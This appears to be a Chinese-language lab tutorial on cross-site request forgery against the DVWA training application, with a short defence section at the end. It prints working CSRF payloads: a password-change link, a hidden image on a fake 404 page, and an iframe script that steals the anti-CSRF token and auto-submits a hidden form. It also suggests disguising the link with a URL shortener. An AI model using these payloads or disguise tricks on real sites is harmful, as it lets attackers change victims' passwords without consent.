簡介
CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。
在沒有關閉相關網頁的情況下,點擊其他人發來的CSRF鏈接,利用客戶端的cookie直接向服務器發送請求。
DVWA測試
low級別
當你登錄之后,在沒有關閉網頁的情況下,收到別人的鏈接。
http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change#
點擊鏈接,會利用瀏覽器的cookie把密碼改掉。
如果頁面已經關掉,或者打開鏈接的瀏覽器不是登錄網站的瀏覽器那么這個csrf的攻擊是都沒用的。
medium級別
Medium級別的代碼檢查是否包含HTTP_REFERER(http包頭的Referer參數的值,表示來源地址),是否包含SERVER_NAME(http包頭的Host參數,表示要訪問的主機名),通過這種機制抵御CSRF攻擊。
制作攻擊頁面,將頁面部署在服務器上,這樣就會有Referer,直接點擊鏈接的請求是沒有refer的。
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>page not found.<h2>
high級別
High級別的代碼加入了Anti-CSRF token機制,用戶每次訪問改密頁面時,服務器會返回一個隨機的token,向服務器發起請求時,需要提交token參數,而服務器在收到請求時,會優先檢查token,只有token正確,才會處理客戶端的請求。
頁面中要先獲取token
<script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); } </script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"> </iframe>
<body onload="attack()"> <form method="GET" id="transfer" action="http://127.0.0.1/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="123"> <input type="hidden" name="password_conf" value="123"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> </body>
CSRF偽裝
生成短連接,可以偽裝url,防止根據鏈接看出內容
構造攻擊頁面,把網頁部署好,然后鏈接發給其他人,當其他人點擊鏈接的時候,會顯示404,這時候會以為點了一個無效的鏈接。但是其中的img的src會請求一次。
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Change#" border="0" style="display:none;"/> <h1>404<h1> <h2>page not found.<h2>
防御
檢測Referer
Anti-CSRF token機制
業務上要求用戶輸入原始密碼(簡單粗暴),攻擊者在不知道原始密碼的情況下,無論如何都無法進行CSRF攻擊。